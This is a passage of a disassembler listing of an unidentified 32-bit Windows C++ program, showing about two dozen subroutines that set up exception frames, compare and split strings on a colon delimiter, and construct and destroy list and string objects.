mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413BF0 loc_413C93: ; CODE XREF: sub_413B70+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413B70+26j ; sub_413B70+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413D40 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_413D40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413D60: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401861 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_40189Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014C9 mov ecx, ebp call sub_401CD0 xor ebx, ebx cmp eax, ebx jnz loc_413F8E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014C9 mov ecx, ebp call sub_402112 mov edi, eax cmp edi, ebx jz loc_413F8E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014C9 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_413F8E push offset byte_446F70 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413E87 lea ecx, [edi+2Ah] call sub_4017E4 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017E4 loc_413E56: ; CODE XREF: sub_413DA0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413E7A cmp cl, bl jz short loc_413E76 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413E7A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413E56 loc_413E76: ; CODE XREF: sub_413DA0+C0j xor eax, eax jmp short loc_413E7F ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413DA0+BCj ; sub_413DA0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413E7F: ; CODE XREF: sub_413DA0+D8j cmp eax, ebx jnz loc_413F8E loc_413E87: ; CODE XREF: sub_413DA0+A1j push offset byte_446F70 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413EE3 lea ecx, [edi+3Fh] call sub_4017E4 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017E4 loc_413EB2: ; CODE XREF: sub_413DA0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413ED6 cmp cl, bl jz short loc_413ED2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413ED6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413EB2 loc_413ED2: ; CODE XREF: sub_413DA0+11Cj xor eax, eax jmp short loc_413EDB ; --------------------------------------------------------------------------- loc_413ED6: ; CODE XREF: sub_413DA0+118j ; sub_413DA0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413EDB: ; CODE XREF: sub_413DA0+134j cmp eax, ebx jnz loc_413F8E loc_413EE3: ; CODE XREF: sub_413DA0+FAj push 58h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413F03 mov ecx, eax call sub_401D07 jmp short loc_413F05 ; --------------------------------------------------------------------------- loc_413F03: ; CODE XREF: sub_413DA0+158j xor eax, eax loc_413F05: ; CODE XREF: sub_413DA0+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40200E mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40200E lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401406 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_413FDB ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413DA0+44j ; sub_413DA0+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_413FDB: ; CODE XREF: sub_413DA0+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414090 proc near ; CODE XREF: sub_401D07j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: ___:00401DC0j push 0FFFFFFFFh push offset loc_439C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401861 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_40189D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414210 proc near ; CODE XREF: sub_401537j add ecx, 6Ch jmp sub_401C62 sub_414210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414230 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_4367FA sub_414230 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414273 mov ecx, eax call sub_401BE0 ; --------------------------------------------------------------------------- jmp short loc_414275 ; --------------------------------------------------------------------------- loc_414273: ; CODE XREF: ___:00414268j xor eax, eax loc_414275: ; CODE XREF: ___:00414271j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40200E mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40200E mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40200E mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40200E lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401EF1 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414360 proc near ; CODE XREF: sub_401BE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_401424 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414360 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414400: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_439CD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144D0 proc near ; CODE XREF: sub_401DACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4144D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E1F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jz short loc_414580 loc_414535: ; CODE XREF: sub_4144D0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_41455D lea ecx, [esp+18h+var_14] call sub_401FA5 mov edx, [eax] mov [esp+18h+var_10], edx loc_41455D: ; CODE XREF: sub_4144D0+7Cj lea ecx, [esp+18h+var_14] call sub_4020A4 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jnz short loc_414535 loc_414580: ; CODE XREF: sub_4144D0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_4145C8 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_4145A3 push 1 call sub_4019DD loc_4145A3: ; CODE XREF: sub_4144D0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_4144D0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4144D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_4019DDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402220 test [esp+4+arg_0], 1 jz short loc_414658 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414658: ; CODE XREF: sub_414640+Dj mov eax, esi pop esi retn 4 sub_414640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414670 proc near ; CODE XREF: sub_402220j jmp sub_401226 sub_414670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_439D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_443C94 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414759 loc_4146F3: ; CODE XREF: ___:00414757j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_443C94 ; ":" push esi push edx call sub_4016AE mov ecx, ebp call sub_401DAC cmp al, bl jnz short loc_414720 mov [esp+13h], bl loc_414720: ; CODE XREF: ___:0041471Aj inc esi push offset asc_443C94 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4146F3 loc_414759: ; CODE XREF: ___:004146F1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4147D0 proc near ; CODE XREF: sub_40210Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4147D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017E4 test eax, eax jz loc_414904 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402252 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_4148AE loc_414844: ; CODE XREF: sub_4147D0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B72 test eax, eax jz short loc_41487C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax jnz short loc_41488B loc_41487C: ; CODE XREF: sub_4147D0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41488B: ; CODE XREF: sub_4147D0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414844 loc_4148AE: ; CODE XREF: sub_4147D0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_414904 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_402130 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4148D1 push 1 call sub_4016FE loc_4148D1: ; CODE XREF: sub_4147D0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_4147D0+2Ej ; sub_4147D0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4147D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149A0 proc near ; CODE XREF: sub_4016FEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A5A test [esp+4+arg_0], 1 jz short loc_4149B8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4149B8: ; CODE XREF: sub_4149A0+Dj mov eax, esi pop esi retn 4 sub_4149A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149D0 proc near ; CODE XREF: sub_401A5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4149D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4149D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414A60: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_439D98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40210D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: ___:00401B31j push 0FFFFFFFFh push offset loc_439DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017E4 test eax, eax jz loc_414BF7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401983 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jz short loc_414BAF loc_414B64: ; CODE XREF: ___:00414BADj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_414B8C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414B8C: ; CODE XREF: ___:00414B7Bj lea ecx, [esp+4] call sub_4018B6 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jnz short loc_414B64 loc_414BAF: ; CODE XREF: ___:00414B62j mov eax, [esp+8] test eax, eax jz short loc_414BF7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414BD2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BC9j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414BF7: ; CODE XREF: ___:00414B1Ej ; ___:00414BB5j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414C70 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B45 sub_414C70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414C88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414C88: ; CODE XREF: ___:00414C7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414CA0 proc near ; CODE XREF: sub_401B45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414CA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401578 sub_414CA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D40 proc near ; CODE XREF: sub_4014BFj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414D40 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414E3B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014C9 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_446F70 call sub_401861 or ebx, 0FFFFFFFFh mov ecx, offset word_448C9E mov [esp+88h+var_4], ebx call sub_40210D test al, al jz loc_414F70 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019B5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414D40+36j lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F70 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_443600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_443600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_448C9E mov [esp+0D0h+var_4], ebx call sub_40189D test al, al jz short loc_414F70 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019B5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F70: ; CODE XREF: sub_414D40+82j ; sub_414D40+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414D40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415030 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401EBA sub_415030 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415070 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 sub esp, 8 